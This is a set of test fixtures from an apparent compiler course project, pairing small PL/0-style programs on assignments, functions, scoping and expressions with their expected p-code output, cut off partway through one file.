/project/tests/project5/assign_multiple.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : int 3 | var z : int 4 | 5 | begin 6 | x := 10 7 | y := 20 8 | z := 30 9 | end -------------------------------------------------------------------------------- /project/tests/project5/assign_write.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | addi sp sp 1 4 | br 1 5 | movi r0 10 6 | st r0 fp 1 7 | ld r0 fp 1 8 | wr r0 9 | hlt 10 | -------------------------------------------------------------------------------- /project/tests/project5/assign_write.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | begin 4 | x := 10 5 | write x 6 | end -------------------------------------------------------------------------------- /project/tests/project5/assign_write_multiple.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | y : int @2 4 | z : int @3 5 | addi sp sp 1 6 | addi sp sp 1 7 | addi sp sp 1 8 | br 1 9 | movi r0 10 10 | st r0 fp 1 11 | ld r0 fp 1 12 | wr r0 13 | movi r0 20 14 | st r0 fp 2 15 | ld r0 fp 2 16 | wr r0 17 | movi r0 30 18 | st r0 fp 3 19 | ld r0 fp 3 20 | wr r0 21 | hlt 22 | -------------------------------------------------------------------------------- /project/tests/project5/assign_write_multiple.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : int 3 | var z : int 4 | 5 | begin 6 | x := 10 7 | write x 8 | y := 20 9 | write y 10 | z := 30 11 | write z 12 | end -------------------------------------------------------------------------------- /project/tests/project5/func_call.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : () -> void @1 3 | scope: f, level: 1 4 | br 11 5 | psh ln sp 6 | psh fp sp 7 | mov fp sp 8 | br 1 9 | movi r0 10 10 | wr r0 11 | mov sp fp 12 | pop fp sp 13 | pop ln sp 14 | ret ln 15 | addi sp sp 1 16 | psh fp sp 17 | bl -12 18 | subi sp sp 1 19 | pop r0 sp 20 | hlt 21 | -------------------------------------------------------------------------------- /project/tests/project5/func_call.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | write 10 3 | 4 | f() -------------------------------------------------------------------------------- /project/tests/project5/func_decl.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : () -> void @1 3 | scope: f, level: 1 4 | br 11 5 | psh ln sp 6 | psh fp sp 7 | mov fp sp 8 | br 1 9 | movi r0 10 10 | wr r0 11 | mov sp fp 12 | pop fp sp 13 | pop ln sp 14 | ret ln 15 | movi r0 20 16 | wr r0 17 | hlt 18 | -------------------------------------------------------------------------------- /project/tests/project5/func_decl.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | write 10 3 | 4 | write 20 -------------------------------------------------------------------------------- /project/tests/project5/func_multiple_params.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : (int, int, int) -> void @1 3 | scope: f, level: 1 4 | x : int @-4 5 | y : int @-5 6 | z : int @-6 7 | br 27 8 | psh ln sp 9 | psh fp sp 10 | mov fp sp 11 | br 1 12 | ld r0 fp -4 13 | wr r0 14 | ld r0 fp -5 15 | wr r0 16 | ld r0 fp -6 17 | wr r0 18 | movi r0 100 19 | st r0 fp -4 20 | movi r0 200 21 | st r0 fp -5 22 | movi r0 300 23 | st r0 fp -6 24 | ld r0 fp -4 25 | wr r0 26 | ld r0 fp -5 27 | wr r0 28 | ld r0 fp -6 29 | wr r0 30 | mov sp fp 31 | pop fp sp 32 | pop ln sp 33 | ret ln 34 | movi r0 11 35 | wr r0 36 | addi sp sp 3 37 | movi r0 1 38 | st r0 sp 0 39 | movi r0 2 40 | st r0 sp -1 41 | movi r0 3 42 | st r0 sp -2 43 | addi sp sp 1 44 | psh fp sp 45 | bl -37 46 | subi sp sp 1 47 | pop r0 sp 48 | subi sp sp 3 49 | movi r0 22 50 | wr r0 51 | addi sp sp 3 52 | movi r0 10 53 | st r0 sp 0 54 | movi r0 20 55 | st r0 sp -1 56 | movi r0 30 57 | st r0 sp -2 58 | addi sp sp 1 59 | psh fp sp 60 | bl -52 61 | subi sp sp 1 62 | pop r0 sp 63 | subi sp sp 3 64 | movi r0 33 65 | wr r0 66 | hlt 67 | -------------------------------------------------------------------------------- /project/tests/project5/func_multiple_params.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int, y : int, z : int) 2 | begin 3 | write x 4 | write y 5 | write z 6 | x := 100 7 | y := 200 8 | z := 300 9 | write x 10 | write y 11 | write z 12 | end 13 | 14 | begin 15 | write 11 16 | f(1, 2, 3) 17 | write 22 18 | f(10, 20, 30) 19 | write 33 20 | end -------------------------------------------------------------------------------- /project/tests/project5/func_nested.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : () -> void @1 3 | scope: f, level: 1 4 | h : () -> void @5 5 | scope: h, level: 2 6 | br 21 7 | psh ln sp 8 | psh fp sp 9 | mov fp sp 10 | br 11 11 | psh ln sp 12 | psh fp sp 13 | mov fp sp 14 | br 1 15 | movi r0 10 16 | wr r0 17 | mov sp fp 18 | pop fp sp 19 | pop ln sp 20 | ret ln 21 | movi r0 20 22 | wr r0 23 | mov sp fp 24 | pop fp sp 25 | pop ln sp 26 | ret ln 27 | movi r0 30 28 | wr r0 29 | hlt 30 | -------------------------------------------------------------------------------- /project/tests/project5/func_nested.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | function h() 3 | write 10 4 | write 20 5 | 6 | write 30 -------------------------------------------------------------------------------- /project/tests/project5/func_nested_call.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : () -> void @1 3 | scope: f, level: 1 4 | h : () -> void @5 5 | scope: h, level: 2 6 | br 37 7 | psh ln sp 8 | psh fp sp 9 | mov fp sp 10 | br 11 11 | psh ln sp 12 | psh fp sp 13 | mov fp sp 14 | br 1 15 | movi r0 10 16 | wr r0 17 | mov sp fp 18 | pop fp sp 19 | pop ln sp 20 | ret ln 21 | movi r0 20 22 | wr r0 23 | addi sp sp 1 24 | ld r0 fp -2 25 | psh r0 sp 26 | bl -19 27 | subi sp sp 1 28 | pop r0 sp 29 | movi r0 30 30 | wr r0 31 | addi sp sp 1 32 | ld r0 fp -2 33 | psh r0 sp 34 | bl -27 35 | subi sp sp 1 36 | pop r0 sp 37 | movi r0 40 38 | wr r0 39 | mov sp fp 40 | pop fp sp 41 | pop ln sp 42 | ret ln 43 | movi r0 50 44 | wr r0 45 | addi sp sp 1 46 | psh fp sp 47 | bl -40 48 | subi sp sp 1 49 | pop r0 sp 50 | movi r0 60 51 | wr r0 52 | hlt 53 | -------------------------------------------------------------------------------- /project/tests/project5/func_nested_call.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | function h() 3 | write 10 4 | 5 | begin 6 | write 20 7 | f() 8 | write 30 9 | f() 10 | write 40 11 | end 12 | 13 | begin 14 | write 50 15 | f() 16 | write 60 17 | end -------------------------------------------------------------------------------- /project/tests/project5/func_params_static.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | f : (int) -> void @2 4 | scope: f, level: 1 5 | x : int @-4 6 | addi sp sp 1 7 | br 15 8 | psh ln sp 9 | psh fp sp 10 | mov fp sp 11 | br 1 12 | ld r0 fp -4 13 | wr r0 14 | movi r0 10 15 | st r0 fp -4 16 | ld r0 fp -4 17 | wr r0 18 | mov sp fp 19 | pop fp sp 20 | pop ln sp 21 | ret ln 22 | movi r0 20 23 | st r0 fp 1 24 | ld r0 fp 1 25 | wr r0 26 | addi sp sp 1 27 | movi r0 30 28 | st r0 sp 0 29 | addi sp sp 1 30 | psh fp sp 31 | bl -23 32 | subi sp sp 1 33 | pop r0 sp 34 | subi sp sp 1 35 | ld r0 fp 1 36 | wr r0 37 | hlt 38 | -------------------------------------------------------------------------------- /project/tests/project5/func_params_static.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function f(x : int) 4 | begin 5 | write x 6 | x := 10 7 | write x 8 | end 9 | 10 | begin 11 | x := 20 12 | write x 13 | f(30) 14 | write x 15 | end 16 | -------------------------------------------------------------------------------- /project/tests/project5/func_single_param.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : (int) -> void @1 3 | scope: f, level: 1 4 | x : int @-4 5 | br 11 6 | psh ln sp 7 | psh fp sp 8 | mov fp sp 9 | br 1 10 | ld r0 fp -4 11 | wr r0 12 | mov sp fp 13 | pop fp sp 14 | pop ln sp 15 | ret ln 16 | addi sp sp 1 17 | movi r0 10 18 | st r0 sp 0 19 | addi sp sp 1 20 | psh fp sp 21 | bl -15 22 | subi sp sp 1 23 | pop r0 sp 24 | subi sp sp 1 25 | hlt 26 | -------------------------------------------------------------------------------- /project/tests/project5/func_single_param.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int) 2 | write x 3 | 4 | f(10) -------------------------------------------------------------------------------- /project/tests/project5/funcfactor_assign.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | f : () -> int @2 4 | scope: f, level: 1 5 | addi sp sp 1 6 | br 15 7 | psh ln sp 8 | psh fp sp 9 | mov fp sp 10 | br 1 11 | movi r0 10 12 | st r0 fp -3 13 | mov sp fp 14 | pop fp sp 15 | pop ln sp 16 | ret ln 17 | mov sp fp 18 | pop fp sp 19 | pop ln sp 20 | ret ln 21 | addi sp sp 1 22 | psh fp sp 23 | bl -16 24 | subi sp sp 1 25 | pop r0 sp 26 | st r0 fp 1 27 | ld r0 fp 1 28 | wr r0 29 | hlt 30 | -------------------------------------------------------------------------------- /project/tests/project5/funcfactor_assign.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function f() : int 4 | return 10 5 | 6 | begin 7 | x := f() 8 | write x 9 | end -------------------------------------------------------------------------------- /project/tests/project5/multiple_funcs.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : () -> void @1 3 | g : () -> void @11 4 | h : () -> void @21 5 | scope: f, level: 1 6 | scope: g, level: 1 7 | scope: h, level: 1 8 | br 33 9 | psh ln sp 10 | psh fp sp 11 | mov fp sp 12 | br 1 13 | movi r0 10 14 | wr r0 15 | mov sp fp 16 | pop fp sp 17 | pop ln sp 18 | ret ln 19 | psh ln sp 20 | psh fp sp 21 | mov fp sp 22 | br 1 23 | movi r0 20 24 | wr r0 25 | mov sp fp 26 | pop fp sp 27 | pop ln sp 28 | ret ln 29 | psh ln sp 30 | psh fp sp 31 | mov fp sp 32 | br 1 33 | movi r0 30 34 | wr r0 35 | movi r0 40 36 | wr r0 37 | mov sp fp 38 | pop fp sp 39 | pop ln sp 40 | ret ln 41 | movi r0 50 42 | wr r0 43 | addi sp sp 1 44 | psh fp sp 45 | bl -36 46 | subi sp sp 1 47 | pop r0 sp 48 | movi r0 60 49 | wr r0 50 | addi sp sp 1 51 | psh fp sp 52 | bl -23 53 | subi sp sp 1 54 | pop r0 sp 55 | movi r0 70 56 | wr r0 57 | addi sp sp 1 58 | psh fp sp 59 | bl -40 60 | subi sp sp 1 61 | pop r0 sp 62 | movi r0 80 63 | wr r0 64 | hlt 65 | -------------------------------------------------------------------------------- /project/tests/project5/multiple_funcs.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | write 10 3 | 4 | function g() 5 | write 20 6 | 7 | function h() 8 | begin 9 | write 30 10 | write 40 11 | end 12 | 13 | begin 14 | write 50 15 | f() 16 | write 60 17 | h() 18 | write 70 19 | g() 20 | write 80 21 | end -------------------------------------------------------------------------------- /project/tests/project5/static_scope.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | f : () -> void @2 4 | scope: f, level: 1 5 | x : int @1 6 | g : () -> void @7 7 | h : () -> void @20 8 | scope: g, level: 2 9 | x : int @1 10 | scope: h, level: 2 11 | x : int @1 12 | addi sp sp 1 13 | br 54 14 | psh ln sp 15 | psh fp sp 16 | mov fp sp 17 | addi sp sp 1 18 | br 27 19 | psh ln sp 20 | psh fp sp 21 | mov fp sp 22 | addi sp sp 1 23 | br 1 24 | movi r0 10 25 | st r0 fp 1 26 | ld r0 fp 1 27 | wr r0 28 | mov sp fp 29 | pop fp sp 30 | pop ln sp 31 | ret ln 32 | psh ln sp 33 | psh fp sp 34 | mov fp sp 35 | addi sp sp 1 36 | br 1 37 | movi r0 20 38 | st r0 fp 1 39 | ld r0 fp 1 40 | wr r0 41 | mov sp fp 42 | pop fp sp 43 | pop ln sp 44 | ret ln 45 | movi r0 30 46 | st r0 fp 1 47 | ld r0 fp 1 48 | wr r0 49 | addi sp sp 1 50 | psh fp sp 51 | bl -32 52 | subi sp sp 1 53 | pop r0 sp 54 | ld r0 fp 1 55 | wr r0 56 | addi sp sp 1 57 | psh fp sp 58 | bl -26 59 | subi sp sp 1 60 | pop r0 sp 61 | ld r0 fp 1 62 | wr r0 63 | mov sp fp 64 | pop fp sp 65 | pop ln sp 66 | ret ln 67 | movi r0 40 68 | st r0 fp 1 69 | ld r0 fp 1 70 | wr r0 71 | addi sp sp 1 72 | psh fp sp 73 | bl -59 74 | subi sp sp 1 75 | pop r0 sp 76 | ld r0 fp 1 77 | wr r0 78 | hlt 79 | -------------------------------------------------------------------------------- /project/tests/project5/static_scope.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function f() 4 | var x : int 5 | 6 | function g() 7 | var x : int 8 | begin 9 | x := 10 10 | write x 11 | end 12 | 13 | function h() 14 | var x : int 15 | begin 16 | x := 20 17 | write x 18 | end 19 | 20 | begin 21 | x := 30 22 | write x 23 | g() 24 | write x 25 | h() 26 | write x 27 | end 28 | 29 | begin 30 | x := 40 31 | write x 32 | f() 33 | write x 34 | end -------------------------------------------------------------------------------- /project/tests/project5/static_scope_2.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | f : () -> int @2 4 | scope: f, level: 1 5 | x : int @1 6 | g : () -> int @7 7 | h : () -> int @26 8 | scope: g, level: 2 9 | x : int @1 10 | scope: h, level: 2 11 | x : int @1 12 | addi sp sp 1 13 | br 72 14 | psh ln sp 15 | psh fp sp 16 | mov fp sp 17 | addi sp sp 1 18 | br 39 19 | psh ln sp 20 | psh fp sp 21 | mov fp sp 22 | addi sp sp 1 23 | br 1 24 | movi r0 10 25 | st r0 fp 1 26 | ld r0 fp 1 27 | wr r0 28 | movi r0 10 29 | st r0 fp -3 30 | mov sp fp 31 | pop fp sp 32 | pop ln sp 33 | ret ln 34 | mov sp fp 35 | pop fp sp 36 | pop ln sp 37 | ret ln 38 | psh ln sp 39 | psh fp sp 40 | mov fp sp 41 | addi sp sp 1 42 | br 1 43 | movi r0 20 44 | st r0 fp 1 45 | ld r0 fp 1 46 | wr r0 47 | movi r0 20 48 | st r0 fp -3 49 | mov sp fp 50 | pop fp sp 51 | pop ln sp 52 | ret ln 53 | mov sp fp 54 | pop fp sp 55 | pop ln sp 56 | ret ln 57 | movi r0 30 58 | st r0 fp 1 59 | ld r0 fp 1 60 | wr r0 61 | addi sp sp 1 62 | psh fp sp 63 | bl -44 64 | subi sp sp 1 65 | pop r0 sp 66 | ld r0 fp 1 67 | wr r0 68 | addi sp sp 1 69 | psh fp sp 70 | bl -32 71 | subi sp sp 1 72 | pop r0 sp 73 | ld r0 fp 1 74 | wr r0 75 | movi r0 30 76 | st r0 fp -3 77 | mov sp fp 78 | pop fp sp 79 | pop ln sp 80 | ret ln 81 | mov sp fp 82 | pop fp sp 83 | pop ln sp 84 | ret ln 85 | movi r0 40 86 | st r0 fp 1 87 | ld r0 fp 1 88 | wr r0 89 | addi sp sp 1 90 | psh fp sp 91 | bl -77 92 | subi sp sp 1 93 | pop r0 sp 94 | ld r0 fp 1 95 | wr r0 96 | hlt 97 | -------------------------------------------------------------------------------- /project/tests/project5/static_scope_2.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function f() : int 4 | var x : int 5 | 6 | function g() : int 7 | var x : int 8 | begin 9 | x := 10 10 | write x 11 | return 10 12 | end 13 | 14 | function h() : int 15 | var x : int 16 | begin 17 | x := 20 18 | write x 19 | return 20 20 | end 21 | 22 | begin 23 | x := 30 24 | write x 25 | g() 26 | write x 27 | h() 28 | write x 29 | return 30 30 | end 31 | 32 | begin 33 | x := 40 34 | write x 35 | f() 36 | write x 37 | end 38 | -------------------------------------------------------------------------------- /project/tests/project5/static_scoping_3.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | y : int @2 4 | z : int @3 5 | f : (int) -> void @4 6 | scope: f, level: 1 7 | y : int @-4 8 | z : int @1 9 | addi sp sp 1 10 | addi sp sp 1 11 | addi sp sp 1 12 | br 35 13 | psh ln sp 14 | psh fp sp 15 | mov fp sp 16 | addi sp sp 1 17 | br 1 18 | movi r0 10 19 | st r0 fp 1 20 | mov r0 fp 21 | ld r0 r0 -2 22 | ld r0 r0 1 23 | wr r0 24 | ld r0 fp -4 25 | wr r0 26 | ld r0 fp 1 27 | wr r0 28 | movi r0 20 29 | psh fp sp 30 | ld fp fp -2 31 | st r0 fp 1 32 | pop fp sp 33 | movi r0 30 34 | st r0 fp -4 35 | mov r0 fp 36 | ld r0 r0 -2 37 | ld r0 r0 1 38 | wr r0 39 | ld r0 fp -4 40 | wr r0 41 | ld r0 fp 1 42 | wr r0 43 | mov sp fp 44 | pop fp sp 45 | pop ln sp 46 | ret ln 47 | movi r0 40 48 | st r0 fp 1 49 | movi r0 50 50 | st r0 fp 2 51 | movi r0 60 52 | st r0 fp 3 53 | ld r0 fp 1 54 | wr r0 55 | ld r0 fp 2 56 | wr r0 57 | ld r0 fp 3 58 | wr r0 59 | addi sp sp 1 60 | movi r0 70 61 | st r0 sp 0 62 | addi sp sp 1 63 | psh fp sp 64 | bl -51 65 | subi sp sp 1 66 | pop r0 sp 67 | subi sp sp 1 68 | ld r0 fp 1 69 | wr r0 70 | ld r0 fp 2 71 | wr r0 72 | ld r0 fp 3 73 | wr r0 74 | hlt 75 | -------------------------------------------------------------------------------- /project/tests/project5/static_scoping_3.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : int 3 | var z : int 4 | 5 | function f(y : int) 6 | var z : int 7 | begin 8 | z := 10 9 | write x 10 | write y 11 | write z 12 | x := 20 13 | y := 30 14 | write x 15 | write y 16 | write z 17 | end 18 | 19 | begin 20 | x := 40 21 | y := 50 22 | z := 60 23 | 24 | write x 25 | write y 26 | write z 27 | 28 | f(70) 29 | 30 | write x 31 | write y 32 | write z 33 | end -------------------------------------------------------------------------------- /project/tests/project6/expr_and.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 0 4 | movi r1 1 5 | cmpi r1 0 6 | beq 5 7 | cmpi r0 0 8 | beq 3 9 | movi r0 1 10 | br 2 11 | movi r0 0 12 | wr r0 13 | hlt 14 | -------------------------------------------------------------------------------- /project/tests/project6/expr_and.pl0: -------------------------------------------------------------------------------- 1 | write true and false 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_bool_factor.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | wr r0 5 | hlt 6 | -------------------------------------------------------------------------------- /project/tests/project6/expr_bool_factor.pl0: -------------------------------------------------------------------------------- 1 | write true 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_div.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | movi r1 20 5 | div r0 r1 r0 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project6/expr_div.pl0: -------------------------------------------------------------------------------- 1 | write 20 / 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_eq.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | cmp r1 r0 6 | beq 3 7 | movi r0 0 8 | br 2 9 | movi r0 1 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/expr_eq.pl0: -------------------------------------------------------------------------------- 1 | write 10 = 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_gt.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | movi r1 20 5 | cmp r1 r0 6 | bgt 3 7 | movi r0 0 8 | br 2 9 | movi r0 1 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/expr_gt.pl0: -------------------------------------------------------------------------------- 1 | write 20 > 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_gte.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | movi r1 20 5 | cmp r1 r0 6 | bge 3 7 | movi r0 0 8 | br 2 9 | movi r0 1 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/expr_gte.pl0: -------------------------------------------------------------------------------- 1 | write 20 >= 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_lt.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | movi r1 20 5 | cmp r1 r0 6 | blt 3 7 | movi r0 0 8 | br 2 9 | movi r0 1 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/expr_lt.pl0: -------------------------------------------------------------------------------- 1 | write 20 < 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_lte.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | movi r1 20 5 | cmp r1 r0 6 | ble 3 7 | movi r0 0 8 | br 2 9 | movi r0 1 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/expr_lte.pl0: -------------------------------------------------------------------------------- 1 | write 20 <= 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_minus.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | sub r0 r1 r0 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project6/expr_minus.pl0: -------------------------------------------------------------------------------- 1 | write 10 - 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_mod.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | movi r1 20 5 | mod r0 r1 r0 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project6/expr_mod.pl0: -------------------------------------------------------------------------------- 1 | write 20 % 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_mult.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | mul r0 r1 r0 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project6/expr_mult.pl0: -------------------------------------------------------------------------------- 1 | write 10 * 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_neq.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | cmp r1 r0 6 | bne 3 7 | movi r0 0 8 | br 2 9 | movi r0 1 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/expr_neq.pl0: -------------------------------------------------------------------------------- 1 | write 10 <> 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_num_factor.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | wr r0 5 | hlt 6 | -------------------------------------------------------------------------------- /project/tests/project6/expr_num_factor.pl0: -------------------------------------------------------------------------------- 1 | write 1 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_or.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | movi r1 0 5 | cmpi r1 1 6 | beq 5 7 | cmpi r0 1 8 | beq 3 9 | movi r0 0 10 | br 2 11 | movi r0 1 12 | wr r0 13 | hlt 14 | -------------------------------------------------------------------------------- /project/tests/project6/expr_or.pl0: -------------------------------------------------------------------------------- 1 | write false or true 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_paren.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | add r0 r1 r0 6 | movi r1 20 7 | mul r0 r0 r1 8 | wr r0 9 | hlt 10 | -------------------------------------------------------------------------------- /project/tests/project6/expr_paren.pl0: -------------------------------------------------------------------------------- 1 | write (10 + 20) * 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_paren2.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | add r0 r1 r0 6 | movi r1 30 7 | mul r0 r0 r1 8 | wr r0 9 | hlt 10 | -------------------------------------------------------------------------------- /project/tests/project6/expr_paren2.pl0: -------------------------------------------------------------------------------- 1 | write (((10) + (20) ) * 30) 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_paren3.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | movi r1 0 5 | cmpi r1 1 6 | beq 5 7 | cmpi r0 1 8 | beq 3 9 | movi r0 0 10 | br 2 11 | movi r0 1 12 | movi r1 1 13 | cmpi r1 0 14 | beq 5 15 | cmpi r0 0 16 | beq 3 17 | movi r0 1 18 | br 2 19 | movi r0 0 20 | movi r1 20 21 | movi r2 10 22 | add r1 r2 r1 23 | movi r2 30 24 | mul r1 r2 r1 25 | movi r2 40 26 | mod r1 r1 r2 27 | movi r2 100 28 | add r1 r1 r2 29 | movi r2 50 30 | div r1 r2 r1 31 | movi r2 60 32 | sub r1 r1 r2 33 | movi r2 70 34 | cmp r1 r2 35 | beq 3 36 | movi r1 0 37 | br 2 38 | movi r1 1 39 | cmpi r1 1 40 | beq 5 41 | cmpi r0 1 42 | beq 3 43 | movi r0 0 44 | br 2 45 | movi r0 1 46 | wr r0 47 | hlt 48 | -------------------------------------------------------------------------------- /project/tests/project6/expr_paren3.pl0: -------------------------------------------------------------------------------- 1 | write ((50 / (((30 * (10 + 20)) % 40) + 100 ) - 60) = 70) or (true and (false or true)) 2 | -------------------------------------------------------------------------------- /project/tests/project6/expr_plus.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 20 4 | movi r1 10 5 | add r0 r1 r0 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project6/expr_plus.pl0: -------------------------------------------------------------------------------- 1 | write 10 + 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/mix_0.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | movi r1 0 5 | cmpi r1 1 6 | beq 5 7 | cmpi r0 1 8 | beq 3 9 | movi r0 0 10 | br 2 11 | movi r0 1 12 | cmpi r0 1 13 | bne 36 14 | movi r0 40 15 | movi r1 30 16 | cmp r1 r0 17 | bgt 3 18 | movi r0 0 19 | br 2 20 | movi r0 1 21 | movi r1 20 22 | movi r2 10 23 | cmp r2 r1 24 | bne 3 25 | movi r1 0 26 | br 2 27 | movi r1 1 28 | cmpi r1 0 29 | beq 5 30 | cmpi r0 0 31 | beq 3 32 | movi r0 1 33 | br 2 34 | movi r0 0 35 | cmpi r0 1 36 | bne 12 37 | movi r0 2 38 | movi r1 13 39 | mod r0 r1 r0 40 | movi r1 60 41 | movi r2 50 42 | mul r1 r2 r1 43 | movi r2 70 44 | add r1 r1 r2 45 | div r0 r1 r0 46 | wr r0 47 | br -33 48 | br 33 49 | movi r0 40 50 | movi r1 30 51 | add r0 r1 r0 52 | movi r1 50 53 | cmp r0 r1 54 | bgt 3 55 | movi r0 0 56 | br 2 57 | movi r0 1 58 | movi r1 20 59 | movi r2 10 60 | cmp r2 r1 61 | blt 3 62 | movi r1 0 63 | br 2 64 | movi r1 1 65 | cmpi r1 0 66 | beq 5 67 | cmpi r0 0 68 | beq 3 69 | movi r0 1 70 | br 2 71 | movi r0 0 72 | movi r2 0 73 | cmpi r0 1 74 | beq 5 75 | cmpi r2 1 76 | beq 3 77 | movi r0 0 78 | br 2 79 | movi r0 1 80 | wr r0 81 | hlt 82 | -------------------------------------------------------------------------------- /project/tests/project6/mix_0.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | if false or true then 3 | begin 4 | while (10 <> 20) and (30 > 40) do 5 | begin 6 | write (50 * 60 + 70) / (13 % 2) 7 | end 8 | end 9 | else 10 | begin 11 | write (10 < 20) and ((30 + 40) > 50) or false 12 | end 13 | end 14 | -------------------------------------------------------------------------------- /project/tests/project6/mix_1.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 2 4 | movi r1 5 5 | mul r0 r1 r0 6 | movi r1 10 7 | add r0 r1 r0 8 | movi r1 20 9 | cmp r1 r0 10 | beq 3 11 | movi r0 0 12 | br 2 13 | movi r0 1 14 | cmpi r0 1 15 | bne 82 16 | movi r0 2 17 | movi r1 4 18 | div r0 r1 r0 19 | movi r1 3 20 | add r0 r1 r0 21 | movi r1 0 22 | cmp r0 r1 23 | bne 3 24 | movi r0 0 25 | br 2 26 | movi r0 1 27 | movi r1 1 28 | cmpi r0 0 29 | beq 5 30 | cmpi r1 0 31 | beq 3 32 | movi r0 1 33 | br 2 34 | movi r0 0 35 | cmpi r0 1 36 | bne 22 37 | movi r0 2 38 | movi r1 15 39 | mod r0 r1 r0 40 | movi r1 7 41 | add r0 r0 r1 42 | wr r0 43 | movi r0 5 44 | movi r1 7 45 | mul r0 r1 r0 46 | movi r1 2 47 | movi r2 15 48 | mod r1 r2 r1 49 | add r0 r1 r0 50 | movi r2 10 51 | cmp r0 r2 52 | beq 3 53 | movi r0 0 54 